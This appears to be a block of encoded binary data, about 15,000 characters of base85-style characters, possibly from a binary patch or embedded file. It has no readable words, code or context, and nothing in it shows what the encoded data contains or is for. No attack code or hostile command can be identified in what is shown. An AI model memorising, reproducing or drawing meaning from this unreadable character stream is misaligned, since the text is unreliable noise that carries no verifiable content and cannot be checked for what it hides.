z$S*HWk*MSNBc-cZ66P$(Bxj(*zO)a{cio8y*IZ0QkX7{%PV!M^@Tl&N_*rwH?l!FQ z(b?7i47zBc74EaI@`LNMN;FfyOe=Pu!`vv|-0o<33flNUYVUfU&#t((ofyRrR zeKU~wwB|X;VjK{mTOv_qy<=N}pJHyHY#tG=401*48ZJd=MkG26-t$Ebux*~@3!K6k2Jj#YbT6-c932jA z-(U!9V7e!n@`DrAtxJYt4Tt!JaNZXtCYd0A^@H9iRkfY?N2aKjum`bFnwOZ)Ji&@= z0&eE`0?NYJ&RJXO%%0jQVnuWs{vp@V<}hmX0G8!*3(x!-t>jbq;O;culnC_?n$|DV zG#li8iewBhSK8xZAWDQ!vcXPYYsr38qTo|~s74GT88zddh!KzYxI?u2L)<#zW@;&q ztOFC_J6U%@u>+f&j>Y4%7DbZcO)Bd*c0y-UM*DtDcXRx6FB@s2{kzIuw(Am zCC#SFG|{+UQA>)tx>InEjTG2e!5gJ$l!%MdGglwI`yf}N)xouUfTbv~q#GWAeU^SH zHgRWw2H!A@dfBh^xfI7`-ejrVw34^6Mofq$nCxqdC@sZn!`(AhXV$y*R^U~nF6Ft~ z^J4qxoWC7xheNe%CP=3=rSjY0>fH#ypw-Y|&<+^aZEjj6xZ|f(t<)$I#$!yvYv&|4 z8e0zH-)Bg;AKf4_#Y5&Z`f!#)zCNRxggKF1sZh8a6k1fWo;5y&r0V%r>(*~o@2X+7 zI6^=*wp!5G{MSUVgSnF?r*O-qwSweC;PX1f-Dnl3SP}hIbT_hiU{K|o)@sI!UhMMT z!B;wHv}{$_CZ+y;`?&P*gJOt@#!YFBi#L@*7ApM60~xz*Tu?ZqE1Tr6;#T=4Goe_o zomVz|Ulo)MJr$_|<*33A4@Utd=cNPl8T(qvH^(lw>qMKU0l+jhgYm#D^BK7=CAMa5 zQ?WP9f`mQ;4!@imPbI8 z48h{PQ*nylHC!DWSWqojs9F}%zEU#eXL#GvHUxxtgnavAoz2&X=WkI3LWNW@&}Z)C zTy6;=5Knht+t}YpYuaC+B)TSs#jBjz?DwC<-QQoY#-ywFvNw?Zo(-FDF?jcGfWw`U z-}qr9C%8qe*W0(u@`;_RYm|h>!a7f-h+PbB8t3Td)IHL;$R+Mhex}-88bd77!V+66 z?9{zHchVSM=yMkdFq?5UkbH*XagAOTz2e+4tnEQ4oMyBux|RT++f$jD#?_WGhR67X zT#X>`LyAPUJyah$2Lf_bKGOhX*8vdV!EfP1Qr994yB)bHer`hpTL7XF;GwGz8~AYd zn#!_(-62q+=ae+^QvX#-ddwWX&UThX~1W1(%BaYIi;JfbVCEX8~ zPD7TDSkh?T724Cqz%EL zq#(+zj~ddkpa0tIyWow)MsZF^^wu2;^(A0zB9Kb#D>K^hRmY`hxBkbaPpoXW71LOU z8StFfSP(fewzAwU0Bqc`Xy*6U0*jw9`Vq*!!6o2B@+^H_@LYU%9W&D}a67MPmM(>= z4{;Cg0RI(gO{JBbRKl?fK=A(oF+k40g?z>CS1mTpA_;Na^d2Ff2M#5bhiB#fvNuoos?8q~da}pC&SSUC(6d4e$1z#4z_T>&iN&Zh z&`khdV4B5*vbic3U*iDiW&$reMQ)aquZX+SY}VL=kOG+d<+z90i#F6KW#r*RFdf~@ zq8FlPN!Jyxh-?6>&k^rU{4-v0yK#?EEV#rU^3BO|j43Gh+1pF|KrlJ4!e`|$d{ z&DTz4EC%j(YD{FEQh=+dQh28Xs&jNM+6LwGwJv za7p}vT)$8^_)Qq>=!Bihj{p7Guv^0jxCG6z2O_M+e(k(NJ$Kb-%b|WcADz%Z!jm8;K9@0QCVuQjtV0HoKno} zW2pa0pj!S}hdNv{wj{uWmu#ToNKuZIS$r%ES@G|5c6lgH{=qj3E%hov(c8vd#)C6?{VR!IG8>PgH3Fj2&LW3U__mK`( z6r0z`8-rDI6qH7#X3YGVST(*d3@76?Y#ab9XFDppnESZ|mAKxU)E0WxvSW2Tvyn z8uT4vj9%Q=A2Gd>7fp37outSYNYi8@iOK)xOzD}t=0aR*3uFQ8f!4fJh~cLRjeBQr z2BHC3n1nem*Iyuu1ZbpNdFn4Z0imUO5I&6waIDhS>+PO$oh-l6n^gW(ReHs_gkrvZ z4g9(ygxlF8fHqhIy|vG%PvgvsHx%~Jr~J;N_#st68c=RIN#Une+$W<4I`eCo3<#Kh z_l_W3m9~rH9(e>m<+|+Dsr#t85DGD^9rwl=6(<+gb3%=ZT}tBm#mW%03dPAiu`!M4yK7{ij`YddD`WmQ?mx; z7n=;Ie5l*V?tT=68GIh@7`s9CtRlNi#l{nJKm-XY7ci{m4-Y@bl&`1PUZd?U!o`eo z{uz$yyvu&}@Xq`b=Jq)t(X3^uPLV^Fd+73P_QOEOQG;BC zs{$|a4R8mP^M#n87ZtE|l03?ND`aNh%9Jwf1?nJ?#F;1z_xbth?03zNs6kk%UtHUbO6g5=<){5lM5(#Fk~!u>!-suCT{Kl)a@ zj0zE>5c3=5f89Bm)z`Pos_tM~VJ$1hfcoRQ^O+?1rB8Hp;&tGq%S^dO5UH;czD7j& z%^tixjwHf_$UT3$O~=~s?gCN1!!O0#DrS6h2;u2N!#t1lZnWC|^dM;~`7TI>1*W)! z-!gZXn^U~RFs_PSwOO7zFi1XfG-J>lAO2$*4ZL^REXnq$gL*}t*F|t9Oi-8>48}x| zC`V&|y)GS~UV`Dr%FO6h*9I-wsjr#F=v~Gc1Zh^YFCEd5=1D-0U$tMD+6@~P(n<5g z`09b(fgnF|+F1 zV=#4P2iU!{`Eq9FqYyx@6N-dpQluFiXa|1e2U4^V4FphyBbh-;2O|V+p$oYv?#7=z zB$!aiP^ty{b6X(pcV1oUXNe7eZ^Ae%@8m~p+&md?-l`-N@-GQhsOcrZk-ZQIN;xP4 zEyc*|1xb0}<2Cniyk<-=U;E(ph|ezCzs3Wm1|Hc%>XUH@Eh|i=yLR2Aa+YN9R z)bX3?A+WZG-QA31tRQ$lCm6}0Pw~=CmNZIat0XV^X-^3weGAUzTdQ!1!KIH);; z_-90nR>^19hf>FL!cBH#lQaVWhVn2#} zDXsgEiQE6T16N6e^R{vu#GHC>?EiJAY?nx!zj1XeJEz~`G*9W0QUf>r<_G19!mjhQ zg`Y6|qw6iy{B`%_Zq)|4M$UHSAZ~jaF6OMozmk7g-~Tcmn_ei|K&?p(UlN8b`9rX4AMLLgh7imml5=^4HO^BhR;XmQZvL*-!D5H?>|K{H z5T&h!%XC(D_;@oy2&`N-D3V;;n7KHA9;FOh?fJw zw;4hG0y>k;H9bvOCQjriN^YltM93#qtQ_!$woeZ3Pv;M(jG?B{rDA@Chud5wO8EF3 zP8I21_X+?s%!{vAinf%jZYhD?n?^D5hMD)r^TZGsl_K^QRZw3y)}ex|-+em}N)iBE zE*pM+S9USSzwJ4HS-!Li^GqS~Ba+FVmBu5Ch%}O+q|EY6XYp$hSJ5siX%c{Dr%l|K zJqTXS*}RXEUY92UTXoM;|06)Z`o>2u8S65ZC@T`m+cDB(vy^sl{rGT;|1G$&wsFu-NmOHZU)~rdc&nxkBC#1>4?B!4%bD8(t{Bj z`-b8%!vd5G0TiC_n*VArO52J_4ElI@&LF%>ibyMn47c&07wM4NY~um~4jh5SEypsV zsmM_7e*khojlUC8Q?S3aDOj}u7BW#{72mIg^S~G`{Cvi21Iwevd20JYv%yR}dZb)u z1DH>xLa@jv*=hod=f-`Uy_CF(WEEhpUjq9#6+-2MES1c6tp1>#-r`T2%y@D*uKjj> zgIn#jsmiou^#=}7`~8HhO^&KR+kKiK6yj{yu{2Fhlqm<;(D!@NJ)8+105yogjs@o0 zfjMYxnfNcfPff}n;c25Zb8RHg9CMz~ARx!TTBpt#p&QWJolmp`7Qb?vW??83j_$I> zX9E=LGJxNBQ$~7@(#fim8U(Q^w6p`{?L=s@sCB3ZDGEMuI9;?hWWuE|b~HH)IYn=! zpK+|Q>QR8pu{J*pnsr=utAflSXN`NQ18tA|WQOTrvvNudUA1S4S`h8ErjBR9zM-&7WI$WO7?sCwuj7QUz_5IOw{F^tj?v9x<9 zl%Fpsj8@TJ`4pJ_?@YJLX5g(P_8fRBQlC7U6dG^Rh7y{CFpbbUt`rC7SNjQ+0?D@2 zS4Nn;jZQaA;J~xC<7ICVGu5nyxaK1448&~&cb}LYF&W@<+kNiW+)4zNi)r_gWKXEI zd9~EHsObWS%$qUQ-O38Zq?i;yK-=fy(%E9FORZ)2zJVJV3jdMG363rraAJ84`tl}Ft$-sPX@;272mYxkyGR~TmWBwRhb|+9#!^P79_TVRGzy0v z6`ztsux>j}?Yoj3TD-Lbul1U9%|=9{!}Wzs`t2{tGv_CWYZauhdPS9HeG_sm zm35zWwq@jF&j-Hy#bc5zwJ^3}Zcs|Rb8{T~gmua%kyM8w1n60&QOU^LoL6*Jdhyqg@X1qX^R$xoaw4q} zt#}{nCNgs7^)0#gb`nC*B!5#75wDrtLr^=7QhAU8GAm29Y8Hy9vfEB9i)OQ^=J?tk z^EA;Oeg|0=*%WJ_Khi-XyMVb21V%LiI-2ETlUTTcM4 z0jO?K@+`ynvpW%*ktVWg2JkPH#rtP^?&tS7F0s9ggv|&t$LLTy9K6HYk6Jw$Odd9? zrDlI8OyDVl5pEfwhz{Z}8O=}JS+K{w>^FTWVicEC@wS8%2HXt(q;`$iMRI(aTq!Hl z4VVuV$+|VZ8e6@nw>wkymYfoM_&&hbuW!!XH{t~)k1EeYMBD{ZAA1n zTR-q`nC-{QsK$SQ`QU503IMSLaA!rgJ$x;|B6yKui@)Qb65Un(3gNiHl=M8O^M{nX z0UWy9zQqu%Vlg35&YT0OV{lG#A*Hx4U}SS14F-43mb1~y3Q6B?ag(8C>*fBxje1Sf zEjOm~eNvTnem%4f%!2)B5OV+}H4ME45VNOk%7 zVD4hzN#@y4Jur~F?l@(dDYQ!9`}GRnno3h@h&5zJW4x|`AVQAiFyGiQ+3|r+XAuzR zY*9HTX6C-Z0#?f=c+Csww;MC!`Q+|mM-1Yx2_S!1=p`gdxyW| zj9RMA{uQsb!8a^Z{x2V?C61^W6S;A>CnX%)Or3Gv#~zp$xBC z-lppl%dJ-@B^ZSpl0YSEye=ftxL%oWS1U-B`K(9eP#g|AvGxjE2 z2c`v{t^|p|4v~C!xqjSoy_m45XL&)HX2ar2qKckN?mJb<$-SAHYcvRL`cN-U^yK-v z)~+Xe2fh_REIPoQLBey#ytkq&` zUckia-Cc>Qza>SHWpWHITji(qe`Aihou%(|03kB9M~)=J&CV%ltKSGUFm|^WABjzV z;j7zzyey&vr+$6DR2Ke>e6FaB$>3dkB>LPd7cDZK0AvPWCb~ACAa%(D<)^oC&97B~ z(iQQ^ph>jHH?WQfq{{#txgLe4Rkqluc1gkCUK?kOWf2=6LyDI{hl~KV@(Hv%dJbkE z?}dAqejK;`-Lyqw3E`w_s-8txuzeAyD>n+6=9tTP7P2yYYroC(I@?ZNYrsEm*a0C} zRa!y%N(_p=^-fAE9-{gc2PeuATo-BQ>d0H>3E=R5#cD@&LG;X#04;2-v$+dZTu%=S znG&^4pK5#{td%E6Tm+Teh><5p@q$t1y?+Ba)DnzT5dslhhVy(o z^QscNwvB{Gf<*a?_=ksQ~SRZrC zxc)0y5-{z8b=pKhVF_TmsVv^}OBKhCXk%kNnZ?J@7A!E$hf<{N3=$KbL~h>ij`8F} zz#C4+Z81ukO8h$jy{n{ZR@()fKjn`Or*4CvTlk9vFCGU#L0eJipTXpaeHjwR|FRg; zIt*)cd_{xKn7;SlUMAVPK&x9}B>F3z@sze5L~~h7#BIuenyY!!s+4k_>HgmRXT-Wgg$e)vLN?N_b>0+|QNeqk~!!KS|ePIVnDjz@RT2DquU)}(NpWs9c8lRD3zT1Uu@s85XQh>x*9?9w&b&cf5wF~~jRuyX%g0V))#7LfjYmf0 z?Kn1m`fdyFf}~DKPp|Pe7?W72%Ky@6GlUlIySMpVX-nS^EvG*p%pYwZ+;CRdN6%A8EUq(}lrNayuUE2ntgsM<9 z$}JE+<#fP2=XQ^rqOZ$=@l?;V4c^&{soLTUZuArmCqy<#G|m&spX|CV``z3ah5KKH zyaWPR+b#r3ZM+F}>T1x>{hp~=dd@GX^{VL>2E32C{!kD<0Rzfb>{qD)91YkG3njOz0h&$(Z5=+D*VOiA8uiI&q((C5p^Cbq(Hv{QPRG{CigYXk&2iDOzwUO=Y(E#JI-xg$^7>+p6lgFDg>Wae;IF`s?RXFso`P)_Vbj47!3J2v`b zx-mU~h+~e{GTu4=yW^^56@!45tc|#r#Fl-d+}_|2{JUAEN|NgV7~L{~b&U#5rSw{S z0R2Sv_3w&8v2^r%M553RSmTFlSAB!{t5|f{1nh1=ruc(#G#$8utj`N01EW~aHhg{l& zZ`+X;dWrJKHr|5wdToyoq+i;E`B=EHq_Cb=vPC$~wyG`N$%xS_)a9Su)MBUCU?v6$ zOAL`LRz4%^3Y)7>c0nT1DO{6l3`yz86y07pYsyL+IM$!T@Bjf|^43*ulgofB!62mw z5l`FFcaz;V854#op$QWrk=#TUca9c|EDONg-=C_r>8-(`)UFuG`L6TSj#M;V(aB%H1 z8}FeQlXz;G+ntA-M+zJmO&1i}@)hwKzVP2K#SnW?rGh7myA=WpCXPbN5Js4~FojKR z4FzC}6phM;WFScLyG_sV;lDHyM*o6(?*jY^^WuQof0+@s}?W5fau|5c^&RppjzALh2m$K*e@P_fYR+`PK# zI#p(TOeIG87xi}+`u|9<`BteChomI=IBN3vdA`J-QGf;-_bnJ}rS!yA=!v`W%lL}- zdvaO2Sn(C1EDeK(kQ0xu_cZe3vpV*W^OH7-tkPcUDq$ste)S{5*3Tle-ScrW>xS(} zHgEI&2E9a;27Gj-pWYk!(&y#-TfqigG)S+ncJ@!~*^9eyn&!-=f_$XDL|B5wPI|H`Pw7H;PCy1a zlX3FC42+4?DA^CnD8F$Yeef@`6$8@y=ZqT%sNkAA{yw#(w+%QOLOHTVh48pM!^~v;1`#6_veE?vY zrV|(x5c^?g;+0y*n7cPRZ<9Zw>TDrDbzy(!U=-h+RBe*Z_KKg36AIpP^3+WjvKGEk zU}LXRe$Eu&ABIEsVr@pT=h;g_LdFVuL%$|3Wz2_jqE4b?e1Pu{`voQ?fwyA`U)ILujzA-jLK*~MKy zPM8T&fPTG+q=p}`u|lHR%`#hh8;+%$H1iP_bt+ZOt~WBavB9w8(vO@_PfXmJV#K z7$gBD9|>1%0zT3|xCt&ojDWz6PMK%Y!tfuROboo$oVF#px)FJSL<(%c*=y4i2Gy;sVQ zAA>JVB)XwKG8mK2-34)Q+`zRhMJ;}i3o9lV0}p!oqE=ueQAt_9lfRXnhLZ4;8)Q?7 zT}>g>ZDm_RDkt7Zn@v|g3Y>Wv>z+QcZmY7!BUeo0Xb=X^6MEnt{d9?xrvOA|tKn5W zFRv!=KwM1#Mh@8%z$j);RNHyB_y`Q@t?8;T}H z%%gW&DM5B0oA1QL^YfXx-kQMtEgU+_L(Ui?_(W#oy@`*L$OZE+Q)CgcKFaJFMxQVP z_K%|c?#8A^YXgZcf8cX}@Za=?1SRP%*~*4S9)hMinoYYTD}aeP+N?@0#l%IC9R0aU z?8OO2<65(a8Ut|}&2v>*OMqY@MW43#A0!CG=}&A3J?VUQ!DSTw$M~;iX%op?6OeVr zm(c*Po56S`)+k4*i0b@%O|7SLV?<|+fj>-G4}er_Efl_e^_}cEfCuv{ zz4UrSuKFI}>gS_jXe;Q1Dv>dbPT12L(SXtdqc01F;gv+2%tjL2rasv7?avDzQJ@x) zFnRmq;#K5(f$ zHjO!$#e*qWzivLs!Km@iWy;h38$mEKvnzV zZ9O>jGIvKGVwPQ>&q`eWH}t9Q%}Me~?HBG|S%ET5N68qm^_ zm=oBkQPvSb5P1hZP~`^3rEwjv3O@-~AdQKLKTA5GX$nDjDt;K0NC{NZ})gASMjETQ_T+q6Kdn3H^h`NOG;OObNOyanva&); zyDc&Yozw^-YU-fG+_>Ks%wm0XaK9u`Z5WWqR%0)uw$}@g{|e?D^QW!|sqzr#@vCh$ zKU29I68Nioh6M~z?t9S#9||u{j?W|@DUe_%4@*n+!^&2X&^{0A(&8)Rx0x#kwZsj-?;7!T zzbYb>O*xb&@goi34T{R-o4RM6o(%@OhP+Y03XRh1RWG6l`E8%N-Z>Nu%O?B~ngZWel6$+~@G*UeX9y(<|ubzh=yv zck?ktD1$u1Euv*IfNO75chDPAOc$%L_N*rAV&iQC7gc1LUn&PVGF8{ZMFsg%A|gD$ zgrxmr7>q!5zyW9Eh9r*j`Yz9-U5JTO%}ZoSuz?D+ga)%!$QL@GMzns_^8o(V7uNZA z&EWNll$&I-aoAvZ2o3o5dlJ8eB=q-sz;mn2`fic|c z!`*|_k&P^G^IFjTJVWr8KRsy0DFon@|t)t$o`%72$S?_q-t0mMS2q3or~!66u?sp zT5qf@`POjp{lkt5(&MeX78IC=20Q{A~pxdpFOl>$ z2hBuvfeb7MI2TXc1~2u>eog6p>*JOYVle)5R+PvyJNx0YBhaJIJ?-v+_g#xz>mXDm zL@P3f1E{4WI8t*vwraQRQI*?6vgdY*$!<}I_H4`F{Zpn@RaOX^+O*pFxF)<)*?UE) zRufPdZsEPGRwoAl}F~n(Otmr)4C4Q9Lxrxjl$kbCX<=$Qs(V zNwaeiGMG0KD7c}etfDNlZ__BQ6Kv{tVG)uZh*>qSR4&|B3#e2hMls@Uzz-T*Y$zH-)-Lg-rsoCT-tAnUw4E)PRLni^6A|E)xlyKRy5a%Lt%xrl%5lNQ{rGZ4o0qKUt~95h6>$rk5=NHL{B8I-A=lTkV4? zf5Q3E+1YuPMip)pkrjTOz+5~8z}k_YMy(B*UpJ)1_=o}dcDLxbC4*HjmMkR{XCJ;# zy?eRbHp}XKF4dGHg*|3a(B!nqFmOh`AfQ%i@{yIsQ~C&BaUxi_p}DHH)>nz57Drum z?zlJ@Y;Eq;TZ6Qb}gqOsC$jm};vmsCKz7;gV!lTI|{#W|z(9t-D3Gt`zPCiQ6|nO|rc1xmuaW#P{<|fv~!&`8wG{ z61>p;3gYo2L@KMr8=z=9TdE6K z%6^JCJl6sJEt}n$4*rE$X}wsjLWWv3vhJ2pRU&Z$0?%GAQyoScANrru)y&3CXNdYl ze5YXWu5^ofVdR5Acjj5P5WKbaX5xZmx!#@7 zM4~G)qFGqq6% zkn0&(T-BiIgA-U^_l_QxCeAfBl#1e6AJ)JaiU!zI1@xInC*2Si?(S5yf$(eJdd{{M z@AdY{l~OQeCa)QQ?fD*ztnfIX&PUcc5<_yrycp@yAyD7r5P=xpi_~}6)l&y~p*<17 zrXGbsW8#LgATwUnNa-$T0~;9p!c})BrV7EhuJz~@#cO;GJ}aNa+B`U^57GHvJ!28X z*+J&^40_(vlraN5&b9Q+0@N!EDSMNqV$Z4Ojgyi_D|V)SsMByb;JMkyqV4mvxZRP< zX;pKPJ(slKO?=?W8!JUGs`04 zBhk^X-*>Ec8o}?oQG)@F)r*KLmeIu3NtrS|i%<9xnvU!_0H6%Z0&ZzSMa{YFi7*rJ(w_ z^evD>N=W1MnLXcM-;>GW5qilvpkDn3P>_jB$RG{xldxCE_G*j$Zrd9g=3keHRy%AC z)7kl~&{>!VF;AkK`>Au*q8P{u@c=@yOS|WY{ZWe;E;BzSGMqZ=6$&&A^2WC4M+PEr z-XbG<7v)Qix`6U^ogO*BW5fqkw(-Q4QlLjfI;`HnTmw{OV`w)=&+XsqC>wK;G83j8 zoIBYwYU@0{cMb2E>ytZ?{ygLohXnM=-J$OEa?O=of9%TTv;MB7NO|Yc(D35{Jb#(f zVP&F%$HwDP&auz#$M~tHC}#BNg;0Lm*d%r&>EYZze3X~}wfEjGkt+RjCwiG`h{I)w zi6P`x0c_0MZfa4XGy^glYcjh#yuHBOo)h(}_g7n(n#gUm(L|pGC!b1n%{u+bGLlhy zAvJfmy^Mc#U1x)fj*D6~=D(Zs357M+QTjYN+t9_%q|Y1PUT<^k2eaqi0PW&-wUA;~ zm{YRed+~NK0yS-_N-7KOzU^VnEzgWwH80c>PJs2WvR-_*(1@a1|#K}!@H3lyyC3=Q0_)@f#btLWpFI(mD& z%MZwO=?MA(&4$~W5H>6{8$xYy9w`l;7j&SN2v^9dTRXYzAY&q9s!1xB(z3PC{QjX4 zbO4OCAc1XWx4iAX9niJaVBdY*Z$2!@)R*_NG)K?k1M{cbxElE{HLSVQQJtk6R5I`a zc)g>BZ>4?-f}cRml3$-^60(k{F(=J#o%VY3QX$Rh`g#7;&X5{jt5oK{l_!ty=`HOh zVs8aN2>e|0LqFo$*j&+dH#8SP(SW)9V^c;|O&<-vXC(>R45^z@L|1NS_$A;92HM!y z3W&lU4}H!Z(ja>#o3Ymd!p$3*oEj-w^;YG7lK-8NF>-}*BWULdH zvGgZV|Jo74FkFY-BKh~Vc7U%vcS8>iU3Yr7n|~a3GltAD^IA<~de?H57gk(hG}3NY zOumYH;Rr%5+4?z-(2<&4aG8+3G7{eQ3@T;CDf_RS!gZ6OEv(pS{r2_o4FtCUkH}h_8E(yDCIxD`)NhOmEy@B%4*C8>Y^J;nqz+xOjU%7^rSX2 ztet-&5BoYWD)hH?+}A6q*%ve-qcg<#ZGrO8b=Hv(aMd+QDhgh|!1{i9CM;Z^8+#Mi zcu(>j-+J;@8t0X*A68~iOeo2VKgQZE#&aMhSGXZvrWr!*cSA89hYlPaNOfj1n>?T? zud}h(C7U%5NRZyoE|n$Zf94fvsC3fBwKUozXtM-J7g{-7UM|7Plk#VTS-Kf^V z0;rhXrL!nTRBl*3%6X8bf^~Ux+P^D>I582T6?fMP3TP1BuyOd*Bv1Tn6Sv$&`G7_= zcq2Jp0lwvC@5MT7^Wd0)M(c23g+(%-nFTOtt?aqH9^6}1$x{{F%XYPkO-k}yxEbJs z@hL>PgL;K&;5u@`Ol86TwKx&w`>gc6fhY*pOW(sJ1qb8qdlF7Jz!s?Yq=~0~Cy}8p z(&fSl=hFRnU*snj2S@bvLHpLlkMcB!djt3V@0u%nu7T4Q=Bp+n7) zB4N4hE0G^rNQ+eQq~UUDHtJ4XC4VYpg>o$HJvZ6bx#CuF`K+@;7Wz)Z!v+Z&khxOe z!M8hKvXx4qV6>7U&t?Fr=&i%_gHd#T45WW^K1Jrd8T)y1fdx*=Vew|@gHLLtO>zhn zM;WC6qxFvMRqI+}ECA%c(yuz^IGfilqqcN@1<&~aoc@fM2uj$4qfMjE$>ku-6CVb9 z=qq}r*Q9caB~I2o3fbSTD*@=ag}L0yIc*Nby5F(cHnw#8n% zvjc6wsJzuM*s0(tx5mpoSu*|L{%n4i!pqP!*y&&wUCJaMq;%xqV0Kz|`X)ivge3M6 z2}O;1{if}zt-J{)cf>a~N1N|u%mH-5%Kd-mk<~QuM_T6{s&={nw5hGB~L^_K> ztq+B*HRTX4&2csntO0&;!stEISltI zwAzoTZ&>0fp$O}0B^ZZnFfE#3v3k(}8a`biJ1-ds+YP(}Ap$PC>o^fNhP)>rqUQX- zl1<3>VTseuNG2h(R*IO*D1_n+JOsUeZO)a z6>vaB@{VNCkLl_3i^3dam*ArpQNZP}CVQ^lQH((nu`5i~b$VkN@>3*+BsP}#xj-7L zt#rD$60)>pui(;HjAC$hOu~ls7Kk=aVG!3Rsy|^%bHF};HXv?kX5J;&TVzU9%O;*% zD(LECfK`Cr>q>PFcP8VT&g{J_Gw{F_BT&9!^h_-lBrHHRzs71!6vbFz2G|`Rn|Y^E zTyUMgPD53H2P7ASxAtbYTlsX?54Qv`?g6S^J9x`ZetCS4)%E(Ln^JC9c!^r?;9C9+ zY?S2J4QsrI#Mq$i)9ZqWfJEcO5AeYH5SB4^lm)!Q9R2Qi={ByTFl(+eZ<`SZJ1j5a zJ7w#$M+M4EO&%y)=EwdlA308kBe@|8sY-u&%N&E+)AP)wY(SEMyFdT6j@U;NzhsO> zSsVlbr51AjAx)$v}F=u0^r${1j3h96-8!i#d+dWxyy+MPY& zVfp6l!-y^bta^*jqH2SqP96hQzi zyL8`ofNFvifLBjTr1CkKk zB^vGWd)>28hv3QgoYAWTVot1XD$eckeJy`OqL7JlCKSdmUCyV2*GuDiqPZ$vAPQy> zZ42=)6$@vAR*K_fc@A_hJS4z;q+#X&j4B?bMWWvQ0$jTAV~WQ0Il>gHWYrx~Ng-JV z!b<<}5(xpg*OhOy?PSduM;b{Q;lotx`drVundO(87b8c<`H+1q-w z;#x_BkYrwgJg#8W(eFYoW4>g&DmpO@m1H670C`NO(it}Kkr+P{PCNF`Ckm;V;jOMz zoe(qSe7X@}!Jx^Xi|K4_P0L9dVi{>0LKyQRv|d{_&G>1cs)1siurhokMY+_@ZOnCC2Lc@jW?)no`(>JZRO)VBtVxiiw%UypF%!0p1K35RGU|;L>gu) z*wbnp#0`GaA@}^3oO)cP)i0q6zfeGHhr<0`x1#ZGocYzGCIDh?&8rKX2_bq1b-^Xc z^54h5B>rnZ@%jp3s}U13^$^EA(d~xY6>uKLWC;Ol=iXD!IeymaJ?l3QgiRPLwm|%` z7*OiNFWm`Vbw)@iuLup@N5hlW$um=tdsJ%*3o%PZ=$}RU8$rrIhN@o(T7RFm+R|z* zpV_&xVd|~p&vUc&#$jZYjrDsUI)-l3~*`xO5El~^9>AbDM|*|C@S&aF+P5-#GNK5qtkh^%}{`Jl83AVN#5$9dR!^KN?zKGFnk?5%2Kty3_L1z(}KtM*$!27-Xm)GeTL^9jZkq2&{iK% z>etIRm58b)r?W^-kS%_Ka)akBKrKA;2(1*Vl1%0yi$v~a@f2M<6ezi&R&qliPlzl* zzm-m*lB$_^W(6F)9G6uv&n=cv#Xxz)@SU6g%*c?oPLCm+tpNPjk@xV7owKGuR&B9# zH6)9H7iInY)Zqz3qB6zMFs$3)_V0CEU4M1tryt2tLH&4O{ORz=#M4VY4FJ^q&Cwvo zQkK5=y^UVeI}%n08uj8qbMYxP{f0dq5;H~HW9u-vcT2B-r}F|FIy)9Ssz{J;oBkD? zq|!yt46{N!bjME$B-NXjf+y0;X_a@?D)D9UpT8laDH6R+5{pGwZ#r6huZ_-<$>5A` zzVhmUd_fF{EjU7q5vXh$QGbRVCD6YOX=A%^_2-H$?2yCS77x#AJwD9E>RS#-IB(2< zPX=+M;GR+jeftHxmOFCoJrpf+_Y^%cYvyk*BY**y2x#~0IaANqrshJ-*KKVVB3(g& z9Klr)LA08j*X18OU4@PYjj4604m3KcxDVjUQxE$t7sFUHfK_ZOVfsx9O z=L#$hZUt#@gBX0dY~t(e-*Rp-l~JoQmAF?`#{f0Plew)X96UZ6wPwdz6zTA(@>)1) zu@^t|79&-rQgFmz?|(s;RX71Ruw+NTobqJDu24=aEmR!1*jAw?kgtBNI*$`iX-|`w zp5O0u(5pF)fRU|{kh6hdSDIiO8EsSv%{ooOpX`8IytZtKQmY z6YMc0U2vd0_-7`FlAA9l_F4Qu?1X5YyY#Qv2h{H$PKKjpQ;sf3WngFt=nQ>w z%}NJE#VXA*+L1J+f4()sGj7mR!LU-e*KBHgUGlEEUt~)vc4VBfdq#X40 zxOAHdFQkAT4y{ z?;mj4OUjVE0>1Q%4pGQ9Wn<6(sk2MunutE!G_rSD-Exz;LDAZ7Qfg&q;<%T1h}guS z$&=iqs24m3jY0%UEZFl4$9GzJy(RkHsszQ%Q;k9ZwUNvS{DPe&}I4j||i5i4)<3*GFrgAh%9Epnl zAC#P5&}6L*fANLm(v&i1!B}K` zi8@WE0RAh)_+Ck9i2P}1zp8!a>AzmPJ$^@N0xoOj(7UA`xr!%8#)i_(URk>GFl_`y z^1}7&`xd~u>XZb*563d~;S z>eIu%WigZ=u6^{f&(orjP-lu}j_<-su$>0A=4t5X-Aa9tC#taT&GBCn804T8= z&U8G%>ZNkC=nLpp}pf#>A$I=yC{&in?kRd`BP`c_z zq#&e;KsG@92rKjI>EXAvz+BJGH-e^_xKn0_u5NPJ1ilFsEm6P@VmGsl8*Shn&LQA{ zL_{*hU6>w{O_~J$AHQ(0xM`0|7wmuz`#nlXMp%aQ9TfCJfpTm=3IT_(ELimys)hAV!Xl?F&KB^}Q2kWfx6`=JY21ZrxF|}rf9HH?r29zBi^Aez4 zcEwhdyOba8WDL|c3&u-J^50f zaMBV?Ew~_=mR#eFCUTl7Q9blDPUYS7W}8wHAMV_6mR$iY$z4%YgHX)ltV!mjl(Xkt z@iAPl!amgb%O^(=MI&8LZi|jYfj@qTL4Mugh_yuv%+ubD6L!ITm6&>#0kfIBsX`3*?&vch{6Rfb2-HU1P*uR~> zpYsSrP!tVwWUZM{Y#h_CIGa)<+A~b%)IIC*z|0~6)!MSqo{)z^1!-?(4~?Ec{`H~{ zxjGCzzx#*Nw)Z|7-E6YRWhtolK}k3WAz0XXWlV%Zzi~M3;aCLTM|Jxn_$9mwCj-SZn{El1%5PNzwZCA zRB7emp*N-Mc9j8s7nDeG1Etq;Xl`XXaIsdng%=uqZLQXDFHm9H1999Y$SmA8EUW-mm27$-7Ze(+Ga%Ev{3T19&Z(?c+GBqbY*fNFGg%( zbY(?!nz%gEj7M!QI^*g1fsD zAV6?;3GVJZvd_I|?{n_=_l+JcbLp&Av#Ptvh!m9R1dVMCfnv5cPIOH4jNAYjStVO* z0~;o0Iwhc~vz37ZfSI0=krj@NOxOWv;AC!VBVynLqR1zSfaIzt1;4>!=p)Z7M0^^qcMYv=A@ZffTA zrv?ih-JeQ-vW4gYQU*qrwyutr<^Tg5V}KOBEImNZ*7d_^4xqHP0T=?!46IB5wk7}- zpawuySyV|GAg&~@s-R3o|4~@k+0M?^;eWUYE32rA(*i^UR03967|Fr!tZsZ@#0Dn{aNHuY= zwf?ICfYQv#$&QlN2+;q__VEN7Q~Zk{5FqUA;P9u1?EktP{@vz( zsSDYDtW3ws^P7R|fA5%qjkBZ2KW6iv%QmvLaWr>ya{O0CAi%`j3iyY;fH-M9o9l*rJ3Sj&Ysi=*y 